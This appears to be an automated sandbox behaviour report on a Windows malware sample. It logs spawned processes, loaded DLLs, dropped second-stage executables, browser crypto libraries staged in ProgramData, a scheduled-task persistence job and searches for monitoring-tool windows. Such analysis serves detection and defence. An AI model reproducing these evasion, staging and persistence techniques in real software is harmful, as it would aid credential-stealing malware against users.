Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2392 --field-trial-handle=2076,i,9206009865590399757,3186735307075706483,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2416 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=7000 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7196 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7120 --field-trial-handle=2212,i,12021021694937446592,13336714844867127854,262144 /prefetch:8	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsDBFBFBGDBK.exe "C:\Users\user\DocumentsDBFBFBGDBK.exe"
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1802752 > 1048576

Source: file.exe

Static PE information: Raw size of twoluoqx is bigger than: 0x100000 < 0x19e400

Source:	Binary string: mozglue.pdbP source: file.exe, 00000001.00000002.1796604428.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000001.00000002.1796297432.000000006CF8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.1.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000001.00000002.1796604428.000000007013D000.00000002.00000001.01000000.0000000A.sdmp, mozglue.dll.1.dr
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar64\Release\sfxrar.pdb source: IObit.exe.27.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 1.2.file.exe.70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;twoluoqx:EW;wvgliggj:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;twoluoqx:EW;wvgliggj:EW;.taggant:EW;
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Unpacked PE file: 22.2.DocumentsDBFBFBGDBK.exe.ff0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ctjnidaj:EW;mpxgbiue:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ctjnidaj:EW;mpxgbiue:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 23.2.skotes.exe.a20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ctjnidaj:EW;mpxgbiue:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ctjnidaj:EW;mpxgbiue:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 27.2.skotes.exe.a20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ctjnidaj:EW;mpxgbiue:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ctjnidaj:EW;mpxgbiue:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe	Static PE information: real checksum: 0x1bedbd should be: 0x1bcd3c
Source: random[1].exe.1.dr	Static PE information: real checksum: 0x1e50fa should be: 0x1e51a4
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: real checksum: 0x1e50fa should be: 0x1e51a4
Source: skotes.exe.22.dr	Static PE information: real checksum: 0x1e50fa should be: 0x1e51a4

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: twoluoqx
Source: file.exe	Static PE information: section name: wvgliggj
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name:
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name: .idata
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name:
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name: ctjnidaj
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name: mpxgbiue
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name: .taggant
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: ctjnidaj
Source: random[1].exe.1.dr	Static PE information: section name: mpxgbiue
Source: random[1].exe.1.dr	Static PE information: section name: .taggant
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: .idata
Source: skotes.exe.22.dr	Static PE information: section name:
Source: skotes.exe.22.dr	Static PE information: section name: ctjnidaj
Source: skotes.exe.22.dr	Static PE information: section name: mpxgbiue
Source: skotes.exe.22.dr	Static PE information: section name: .taggant
Source: IObit.Malware.Fighter.Pro-12.0.0.1433.sfx[1].exe.27.dr	Static PE information: section name: .didat
Source: IObit.Malware.Fighter.Pro-12.0.0.1433.sfx[1].exe.27.dr	Static PE information: section name: _RDATA
Source: IObit.exe.27.dr	Static PE information: section name: .didat
Source: IObit.exe.27.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 27_2_00A3D91C push ecx; ret

27_2_00A3D92F

Source: file.exe	Static PE information: section name: twoluoqx entropy: 7.95453879379292
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name: entropy: 7.9810110578310995
Source: DocumentsDBFBFBGDBK.exe.1.dr	Static PE information: section name: ctjnidaj entropy: 7.954293822276239
Source: random[1].exe.1.dr	Static PE information: section name: entropy: 7.9810110578310995
Source: random[1].exe.1.dr	Static PE information: section name: ctjnidaj entropy: 7.954293822276239
Source: skotes.exe.22.dr	Static PE information: section name: entropy: 7.9810110578310995
Source: skotes.exe.22.dr	Static PE information: section name: ctjnidaj entropy: 7.954293822276239

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBFBFBGDBK.exe

Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1007468001\IObit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\IObit.Malware.Fighter.Pro-12.0.0.1433.sfx[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\DocumentsDBFBFBGDBK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBFBFBGDBK.exe

Jump to dropped file

Boot Survival

Drops PE files to the user root directory

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\DocumentsDBFBFBGDBK.exe

Jump to dropped file

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass

Source: C:\Users\user\DocumentsDBFBFBGDBK.exe

File created: C:\Windows\Tasks\skotes.job

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\DocumentsDBFBFBGDBK.exe	Process information set: NOOPENFILEERRORBOX
